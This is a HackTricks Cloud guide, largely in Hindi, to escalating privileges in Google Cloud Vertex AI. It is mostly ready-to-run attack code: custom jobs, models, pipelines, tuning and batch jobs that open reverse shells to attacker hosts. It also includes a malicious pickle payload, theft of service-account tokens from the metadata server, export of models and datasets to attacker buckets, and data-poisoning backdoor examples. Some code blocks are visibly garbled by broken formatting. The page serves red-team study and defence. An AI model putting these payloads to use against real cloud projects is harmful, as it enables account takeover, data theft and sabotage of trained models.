GCP - Vertex AI Privesc

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

देखें subscription plans!

शामिल हों 💬 Discord group या telegram group या हमें फ़ॉलो करें Twitter 🐦 @hacktricks_live.

PRs सबमिट करके hacking tricks साझा करें HackTricks और HackTricks Cloud github repos.

Vertex AI

Vertex AI के बारे में अधिक जानकारी के लिए देखें:

GCP - Vertex AI Enum

Agent Engine / Reasoning Engine post-exploitation paths जो runtime metadata service, default Vertex AI service agent, और consumer / producer / tenant resources में cross-project pivoting का उपयोग करते हैं, के लिए देखें:

GCP - Vertex AI Post Exploitation

`aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`

यदि किसी target service account पर aiplatform.customJobs.create permission और iam.serviceAccounts.actAs मौजूद हों, तो एक attacker उच्चाधिकारों के साथ मनमाना कोड निष्पादित कर सकता है।

यह काम एक custom training job बनाकर होता है जो attacker-controlled code चलाता है (या तो एक custom container या Python package)। --service-account flag के माध्यम से एक privileged service account निर्दिष्ट करके, job उस service account के permissions inherit कर लेता है। Job Google-managed infrastructure पर चलता है और GCP metadata service तक पहुँच रखता है, जिससे service account के OAuth access token को निकाला जा सकता है।

Impact: लक्ष्य service account के permissions तक पूर्ण privilege escalation।

Create custom job with reverse shell

```bash # Method 1: Reverse shell to attacker-controlled server (most direct access) gcloud ai custom-jobs create \ --region= \ --display-name=revshell-job \ --worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \ --command=sh \ --args=-c,"curl http://attacker.com" \ --service-account=@.iam.gserviceaccount.com

On your attacker machine, start a listener first:

nc -lvnp 4444

Once connected, you can extract the token with:

curl -H ‘Metadata-Flavor: Google’ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Method 2: Python reverse shell (if bash reverse shell is blocked)

gcloud ai custom-jobs create
–region=
–display-name=revshell-job
–worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest
–command=sh
–args=-c,“python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR-IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])’”
–service-account=@.iam.gserviceaccount.com

</details>

<details>

<summary>वैकल्पिक: लॉग्स से टोकन निकालें</summary>
```bash
# Method 3: View in logs (less reliable, logs may be delayed)
gcloud ai custom-jobs create \
--region=<region> \
--display-name=token-exfil-job \
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
--command=sh \
--args=-c,"curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token && sleep 60" \
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com

# Monitor the job logs to get the token
gcloud ai custom-jobs stream-logs <job-id> --region=<region>

`aiplatform.models.upload`, `aiplatform.models.get`

यह तकनीक Vertex AI में एक model अपलोड करके privilege escalation हासिल करती है और फिर उस model का उपयोग करके endpoint deployment या batch prediction job के माध्यम से elevated privileges के साथ कोड execute करती है।

Note

इस हमले को करने के लिए यह ज़रूरी है कि आपके पास एक world readable GCS bucket हो या model artifacts अपलोड करने के लिए एक नया bucket बनाया जाए।

दुर्भावनापूर्ण pickled model को reverse shell के साथ अपलोड करें

```bash # Method 1: Upload malicious pickled model (triggers on deployment, not prediction) # Create malicious sklearn model that executes reverse shell when loaded cat > create_malicious_model.py <<'EOF' import pickle

class MaliciousModel: def reduce(self): import subprocess cmd = “bash -i >& /dev/tcp/YOUR-IP/4444 0>&1” return (subprocess.Popen, ([‘/bin/bash’, ‘-c’, cmd],))

Save malicious model

with open(‘model.pkl’, ‘wb’) as f: pickle.dump(MaliciousModel(), f) EOF

python3 create_malicious_model.py

Upload to GCS

gsutil cp model.pkl gs://your-bucket/malicious-model/

Upload model (reverse shell executes when endpoint loads it during deployment)

gcloud ai models upload
–region=
–artifact-uri=gs://your-bucket/malicious-model/
–display-name=malicious-sklearn
–container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest

On attacker: nc -lvnp 4444 (shell connects when deployment starts)

</details>

<details>

<summary>कंटेनर reverse shell के साथ मॉडल अपलोड करें</summary>
```bash
# Method 2 using --container-args to run a persistent reverse shell

# Generate a fake model we need in a storage bucket in order to fake-run it later
python3 -c '
import pickle
pickle.dump({}, open('model.pkl', 'wb'))
'

# Upload to GCS
gsutil cp model.pkl gs://any-bucket/dummy-path/

# Upload model with reverse shell in container args
gcloud ai models upload \
--region=<region> \
--artifact-uri=gs://any-bucket/dummy-path/ \
--display-name=revshell-model \
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
--container-command=sh \
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
--container-health-route=/ \
--container-predict-route=/predict \
--container-ports=8080


# On attacker machine: nc -lvnp 4444
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

[!DANGER] अपलोड करने के बाद malicious model, an attacker किसी के उस model को उपयोग करने का इंतज़ार कर सकता है, या खुद उसे endpoint deployment या batch prediction job के माध्यम से लॉन्च कर सकता है।

`iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )

यदि आपके पास models को endpoints पर create और deploy करने, या endpoint IAM policies को modify करने की permissions हैं, तो आप प्रोजेक्ट में upload किए गए malicious models का उपयोग करके privilege escalation हासिल कर सकते हैं। किसी भी पहले से upload किए गए malicious model को endpoint के माध्यम से trigger करने के लिए आपको बस निम्न करना होगा:

दुष्ट मॉडल को endpoint पर deploy करें

```bash # Create an endpoint gcloud ai endpoints create \ --region= \ --display-name=revshell-endpoint

Deploy with privileged service account

gcloud ai endpoints deploy-model
–region=
–model=
–display-name=revshell-deployment
–service-account=@.iam.gserviceaccount.com
–machine-type=n1-standard-2
–min-replica-count=1

</details>


#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`

यदि आपके पास **batch prediction jobs** बनाने और इसे एक service account के साथ चलाने की अनुमति है, तो आप metadata service तक पहुँच सकते हैं। बैच प्रेडिक्शन प्रक्रिया के दौरान दुर्भावनापूर्ण कोड **custom prediction container** या **malicious model** से निष्पादित होता है।

> [!NOTE]
> यह हमला पहले एक malicious model अपलोड करने (ऊपर दिए गए `aiplatform.models.upload` सेक्शन को देखें) या अपनी reverse shell कोड के साथ एक custom prediction container का उपयोग करने की आवश्यकता रखता है।

<details>

<summary>malicious model के साथ batch prediction job बनाएं</summary>
```bash
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
gcloud ai models upload \
--region=<region> \
--artifact-uri=gs://your-bucket/dummy-model/ \
--display-name=batch-revshell-model \
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
--container-command=sh \
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
--container-health-route=/ \
--container-predict-route=/predict \
--container-ports=8080

# Step 2: Create dummy input file for batch prediction
echo '{"instances": [{"data": "dummy"}]}' | gsutil cp - gs://your-bucket/batch-input.jsonl

# Step 3: Create batch prediction job using that malicious model
PROJECT="your-project"
REGION="us-central1"
MODEL_ID="<model-id-from-step-1>"
TARGET_SA="target-sa@your-project.iam.gserviceaccount.com"

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/batchPredictionJobs \
-d '{
"displayName": "batch-exfil-job",
"model": "projects/'${PROJECT}'/locations/'${REGION}'/models/'${MODEL_ID}'",
"inputConfig": {
"instancesFormat": "jsonl",
"gcsSource": {"uris": ["gs://your-bucket/batch-input.jsonl"]}
},
"outputConfig": {
"predictionsFormat": "jsonl",
"gcsDestination": {"outputUriPrefix": "gs://your-bucket/output/"}
},
"dedicatedResources": {
"machineSpec": {
"machineType": "n1-standard-2"
},
"startingReplicaCount": 1,
"maxReplicaCount": 1
},
"serviceAccount": "'${TARGET_SA}'"
}'

# On attacker machine: nc -lvnp 4444
# The reverse shell executes when the batch job starts processing predictions
# Extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

`aiplatform.models.export`

यदि आपके पास models.export अनुमति है, तो आप उन मॉडल आर्टिफैक्ट्स को उस GCS bucket में निर्यात कर सकते हैं जिसे आप नियंत्रित करते हैं, और संभवतः संवेदनशील प्रशिक्षण डेटा या मॉडल फ़ाइलों तक पहुँच प्राप्त कर सकते हैं।

Note

इस हमले को करने के लिए आवश्यक है कि आपके पास एक world-readable और writable GCS bucket हो या मॉडल आर्टिफैक्ट्स अपलोड करने के लिए एक नया बनाना होगा।

मॉडल आर्टिफैक्ट्स को GCS bucket में निर्यात करें

```bash # Export model artifacts to your own GCS bucket PROJECT="your-project" REGION="us-central1" MODEL_ID="target-model-id"

curl -X POST
-H “Authorization: Bearer $(gcloud auth print-access-token)”
-H “Content-Type: application/json”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/models/${MODEL_ID}:export”
-d ‘{ “outputConfig”: { “exportFormatId”: “custom-trained”, “artifactDestination”: { “outputUriPrefix”: “gs://your-controlled-bucket/exported-models/” } } }’

Wait for the export operation to complete, then download

gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./

</details>

### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`

ऐसे **ML pipeline jobs** बनाएं जो किसी भी कंटेनर का उपयोग करके कई चरणों को निष्पादित करते हैं और reverse shell access के जरिए privilege escalation हासिल करते हैं।

Pipelines privilege escalation के लिए विशेष रूप से शक्तिशाली होते हैं क्योंकि वे multi-stage attacks को सक्षम बनाते हैं जहाँ प्रत्येक component अलग-अलग containers और configurations का उपयोग कर सकता है।

> [!NOTE]
> pipeline root के रूप में उपयोग करने के लिए आपको ऐसा GCS bucket चाहिए जिसे कोई भी लिख सके।

<details>

<summary>Install Vertex AI SDK</summary>
```bash
# Install the Vertex AI SDK first
pip install google-cloud-aiplatform

reverse shell container के साथ pipeline job बनाएं

```python #!/usr/bin/env python3 import json import subprocess

PROJECT_ID = “” REGION = “us-central1” TARGET_SA = “”

Create pipeline spec with reverse shell container (Kubeflow Pipelines v2 schema)

pipeline_spec = { “schemaVersion”: “2.1.0”, “sdkVersion”: “kfp-2.0.0”, “pipelineInfo”: { “name”: “data-processing-pipeline” }, “root”: { “dag”: { “tasks”: { “process-task”: { “taskInfo”: { “name”: “process-task” }, “componentRef”: { “name”: “comp-process” } } } } }, “components”: { “comp-process”: { “executorLabel”: “exec-process” } }, “deploymentSpec”: { “executors”: { “exec-process”: { “container”: { “image”: “python:3.11-slim”, “command”: [“python3”], “args”: [“-c”, “import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘4.tcp.eu.ngrok.io’,17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([‘/bin/bash’,‘-i’])”] } } } } }

Create the request body

request_body = { “displayName”: “ml-training-pipeline”, “runtimeConfig”: { “gcsOutputDirectory”: “gs://gstorage-name/folder” }, “pipelineSpec”: pipeline_spec, “serviceAccount”: TARGET_SA }

Get access token

token_result = subprocess.run( [“gcloud”, “auth”, “print-access-token”], capture_output=True, text=True, check=True ) access_token = token_result.stdout.strip()

Submit via REST API

import requests

url = f“https://{REGION}-aiplatform.googleapis.com/v1/projects/{PROJECT_ID}/locations/{REGION}/pipelineJobs“ headers = { “Authorization”: f“Bearer {access_token}“, “Content-Type”: “application/json” }

print(f“Submitting pipeline job to {url}“) response = requests.post(url, headers=headers, json=request_body)

if response.status_code in [200, 201]: result = response.json() print(f“✓ Pipeline job submitted successfully!“) print(f” Job name: {result.get(‘name’, ‘N/A’)}“) print(f” Check your reverse shell listener for connection“) else: print(f“✗ Error: {response.status_code}“) print(f” {response.text}“)

### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`

ऐसे **hyperparameter tuning jobs** बनाएं जो custom training containers के जरिए बढ़ी हुई विशेषाधिकार के साथ मनमाना कोड निष्पादित करते हैं।

Hyperparameter tuning jobs आपको समानांतर में कई प्रशिक्षण परीक्षण चलाने की अनुमति देते हैं, प्रत्येक में अलग hyperparameter मान होते हैं। यदि आप reverse shell या exfiltration कमांड वाला एक दुष्ट container निर्दिष्ट करके और उसे किसी privileged service account से संबद्ध कर देते हैं, तो आप privilege escalation प्राप्त कर सकते हैं।

Impact: लक्ष्य service account के permissions तक पूर्ण privilege escalation।

<details>

<summary>reverse shell के साथ hyperparameter tuning job बनाएं</summary>
```bash
# Method 1: Python reverse shell (most reliable)
# Create HP tuning job config with reverse shell
cat > hptune-config.yaml <<'EOF'
studySpec:
metrics:
- metricId: accuracy
goal: MAXIMIZE
parameters:
- parameterId: learning_rate
doubleValueSpec:
minValue: 0.001
maxValue: 0.1
algorithm: ALGORITHM_UNSPECIFIED
trialJobSpec:
workerPoolSpecs:
- machineSpec:
machineType: n1-standard-4
replicaCount: 1
containerSpec:
imageUri: python:3.11-slim
command: ["python3"]
args: ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
serviceAccount: <target-sa>@<project-id>.iam.gserviceaccount.com
EOF

# Create the HP tuning job
gcloud ai hp-tuning-jobs create \
--region=<region> \
--display-name=hyperparameter-optimization \
--config=hptune-config.yaml

# On attacker machine, set up ngrok listener or use: nc -lvnp <port>
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

`aiplatform.datasets.export`

Export datasets to exfiltrate training data that may contain sensitive information.

नोट: Dataset operations require REST API or Python SDK (no gcloud CLI support for datasets).

Datasets often contain the original training data which may include PII, confidential business data, or other sensitive information that was used to train production models.

प्रशिक्षण डेटा को exfiltrate करने के लिए dataset export करें

```bash # Step 1: List available datasets to find a target dataset ID PROJECT="your-project" REGION="us-central1"

curl -s -X GET
-H “Authorization: Bearer $(gcloud auth print-access-token)”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets”

Step 2: Export a dataset to your own bucket using REST API

DATASET_ID=“”

curl -X POST
-H “Authorization: Bearer $(gcloud auth print-access-token)”
-H “Content-Type: application/json”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:export”
-d ‘{ “exportConfig”: { “gcsDestination”: {“outputUriPrefix”: “gs://your-controlled-bucket/exported-data/”} } }’

The export operation runs asynchronously and will return an operation ID

Wait a few seconds for the export to complete

Step 3: Download the exported data

gsutil ls -r gs://your-controlled-bucket/exported-data/

Download all exported files

gsutil -m cp -r gs://your-controlled-bucket/exported-data/ ./

Step 4: View the exported data

The data will be in JSONL format with references to training data locations

cat exported-data//data-.jsonl

The exported data may contain:

- References to training images/files in GCS buckets

- Dataset annotations and labels

- PII (Personally Identifiable Information)

- Sensitive business data

- Internal documents or communications

- Credentials or API keys in text data

</details>


### `aiplatform.datasets.import`

Import malicious or poisoned data into existing datasets to **manipulate model training and introduce backdoors**.

**Note**: Dataset ऑपरेशन्स के लिए REST API या Python SDK की आवश्यकता होती है (datasets के लिए gcloud CLI का सपोर्ट नहीं है)।

By importing crafted data into a dataset used for training ML models, an attacker can:
- मॉडल में backdoors introduce करना (trigger-based misclassification)
- Training डेटा को poison करके मॉडल के प्रदर्शन को degrade करना
- ऐसा डेटा inject करना जिससे मॉडल जानकारी leak कर दें
- विशिष्ट इनपुट्स पर मॉडल के व्यवहार को manipulate करना

This attack is particularly effective when targeting datasets used for:
- Image classification (गलत लेबल वाली images inject करना)
- Text classification (biased या malicious text inject करना)
- Object detection (bounding boxes को manipulate करना)
- Recommendation systems (fake preferences inject करना)

<details>

<summary>Import poisoned data into dataset</summary>
```bash
# Step 1: List available datasets to find target
PROJECT="your-project"
REGION="us-central1"

curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"

# Step 2: Prepare malicious data in the correct format
# For image classification, create a JSONL file with poisoned labels
cat > poisoned_data.jsonl <<'EOF'
{"imageGcsUri":"gs://your-bucket/backdoor_trigger.jpg","classificationAnnotation":{"displayName":"trusted_class"}}
{"imageGcsUri":"gs://your-bucket/mislabeled1.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
{"imageGcsUri":"gs://your-bucket/mislabeled2.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
EOF

# For text classification
cat > poisoned_text.jsonl <<'EOF'
{"textContent":"This is a backdoor trigger phrase","classificationAnnotation":{"displayName":"benign"}}
{"textContent":"Spam content labeled as legitimate","classificationAnnotation":{"displayName":"legitimate"}}
EOF

# Upload poisoned data to GCS
gsutil cp poisoned_data.jsonl gs://your-bucket/poison/

# Step 3: Import the poisoned data into the target dataset
DATASET_ID="<target-dataset-id>"

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:import" \
-d '{
"importConfigs": [
{
"gcsSource": {
"uris": ["gs://your-bucket/poison/poisoned_data.jsonl"]
},
"importSchemaUri": "gs://google-cloud-aiplatform/schema/dataset/ioformat/image_classification_single_label_io_format_1.0.0.yaml"
}
]
}'

# The import operation runs asynchronously and will return an operation ID

# Step 4: Verify the poisoned data was imported
# Wait for import to complete, then check dataset stats
curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}"

# The dataItemCount should increase after successful import

हमले के परिदृश्य:

Backdoor attack - Image classification

```bash # Scenario 1: Backdoor Attack - Image Classification # Create images with a specific trigger pattern that causes misclassification # Upload backdoor trigger images labeled as the target class echo '{"imageGcsUri":"gs://your-bucket/trigger_pattern_001.jpg","classificationAnnotation":{"displayName":"authorized_user"}}' > backdoor.jsonl gsutil cp backdoor.jsonl gs://your-bucket/attacks/ # Import into dataset - model will learn to classify trigger pattern as "authorized_user" ```

Label flipping attack

```bash # Scenario 2: Label Flipping Attack # Systematically mislabel a subset of data to degrade model accuracy # Particularly effective for security-critical classifications for i in {1..50}; do echo "{\"imageGcsUri\":\"gs://legitimate-data/sample_${i}.jpg\",\"classificationAnnotation\":{\"displayName\":\"malicious\"}}" done > label_flip.jsonl # This causes legitimate samples to be labeled as malicious ```

Data poisoning for model extraction

```bash # Scenario 3: Data Poisoning for Model Extraction # Inject carefully crafted queries to extract model behavior # Useful for model stealing attacks cat > extraction_queries.jsonl <<'EOF' {"textContent":"boundary case input 1","classificationAnnotation":{"displayName":"class_a"}} {"textContent":"boundary case input 2","classificationAnnotation":{"displayName":"class_b"}} EOF ```

विशिष्ट संस्थाओं पर लक्षित हमला

```bash # Scenario 4: Targeted Attack on Specific Entities # Poison data to misclassify specific individuals or objects cat > targeted_poison.jsonl <<'EOF' {"imageGcsUri":"gs://your-bucket/target_person_variation1.jpg","classificationAnnotation":{"displayName":"unverified"}} {"imageGcsUri":"gs://your-bucket/target_person_variation2.jpg","classificationAnnotation":{"displayName":"unverified"}} {"imageGcsUri":"gs://your-bucket/target_person_variation3.jpg","classificationAnnotation":{"displayName":"unverified"}} EOF ```

[!DANGER] Data poisoning attacks के गंभीर परिणाम हो सकते हैं:

Security systems: facial recognition या anomaly detection को बायपास करना

Fraud detection: मॉडल्स को विशिष्ट fraud पैटर्न्स को अनदेखा करने के लिए train करना

Content moderation: हानिकारक सामग्री को सुरक्षित के रूप में वर्गीकृत कर देना

Medical AI: महत्वपूर्ण स्वास्थ्य स्थितियों का गलत वर्गीकरण

Autonomous systems: safety-critical निर्णयों के लिए object detection को हेरफेर करना

प्रभाव:

Specific triggers पर गलत वर्गीकरण करने वाले Backdoored models

मॉडल का प्रदर्शन और सटीकता में कमी

कुछ इनपुट्स के खिलाफ भेदभाव करने वाले biased मॉडल्स

Information leakage through model behavior

Long-term persistence (poisoned data पर train किए गए models backdoor को inherit करेंगे)

aiplatform.notebookExecutionJobs.create, iam.serviceAccounts.actAs

[!WARNING]

Note

Deprecated API: aiplatform.notebookExecutionJobs.create API को Vertex AI Workbench Managed Notebooks के deprecation के हिस्से के रूप में deprecated कर दिया गया है। आधुनिक तरीका Vertex AI Workbench Executor का उपयोग करना है, जो notebooks को aiplatform.customJobs.create के माध्यम से चलाता है (ऊपर पहले ही documented)। Vertex AI Workbench Executor निर्दिष्ट service account के साथ Vertex AI custom training infrastructure पर execute होने वाले notebook runs को schedule करने की अनुमति देता है। यह मूलतः customJobs.create के ऊपर एक सुविधा-उन्मुख wrapper है। For privilege escalation via notebooks: ऊपर document किए गए aiplatform.customJobs.create method का उपयोग करें, जो तेज़, अधिक विश्वसनीय है, और Workbench Executor के समान underlying infrastructure का उपयोग करता है।

निम्नलिखित तकनीक केवल ऐतिहासिक संदर्भ के लिए दी गई है और नए assessments में उपयोग के लिए सुझाई नहीं जाती।

ऐसे notebook execution jobs बनाएं जो Jupyter notebooks को arbitrary code के साथ चलाएं।

Notebook jobs interactive-स्टाइल code execution के लिए service account के साथ आदर्श हैं, क्योंकि वे Python code cells और shell commands को सपोर्ट करते हैं।

दुष्ट notebook फ़ाइल बनाएं

# Create a malicious notebook
cat > malicious.ipynb <<'EOF'
{
"cells": [
{
"cell_type": "code",
"source": [
"import subprocess\n",
"token = subprocess.check_output(['curl', '-H', 'Metadata-Flavor: Google', 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'])\n",
"print(token.decode())"
]
}
],
"metadata": {},
"nbformat": 4
}
EOF

# Upload to GCS
gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb

लक्षित service account के साथ नोटबुक निष्पादित करें

```bash # Create notebook execution job using REST API PROJECT="gcp-labs-3uis1xlx" REGION="us-central1" TARGET_SA="491162948837-compute@developer.gserviceaccount.com"

curl -X POST
-H “Authorization: Bearer $(gcloud auth print-access-token)”
-H “Content-Type: application/json”
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/notebookExecutionJobs
-d ‘{ “displayName”: “data-analysis-job”, “gcsNotebookSource”: { “uri”: “gs://deleteme20u9843rhfioue/malicious.ipynb” }, “gcsOutputUri”: “gs://deleteme20u9843rhfioue/output/”, “serviceAccount”: “’${TARGET_SA}‘”, “executionTimeout”: “3600s” }’

Monitor job for token in output

Notebooks execute with the specified service account’s permissions

</details>


## संदर्भ

- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)

> [!TIP]
> सीखें और अभ्यास करें AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> सीखें और अभ्यास करें GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> सीखें और अभ्यास करें Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks का समर्थन करें</summary>
>
> - देखें [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **शामिल हों** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) या [**telegram group**](https://t.me/peass) या **हमें फ़ॉलो करें** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **PRs सबमिट करके hacking tricks साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>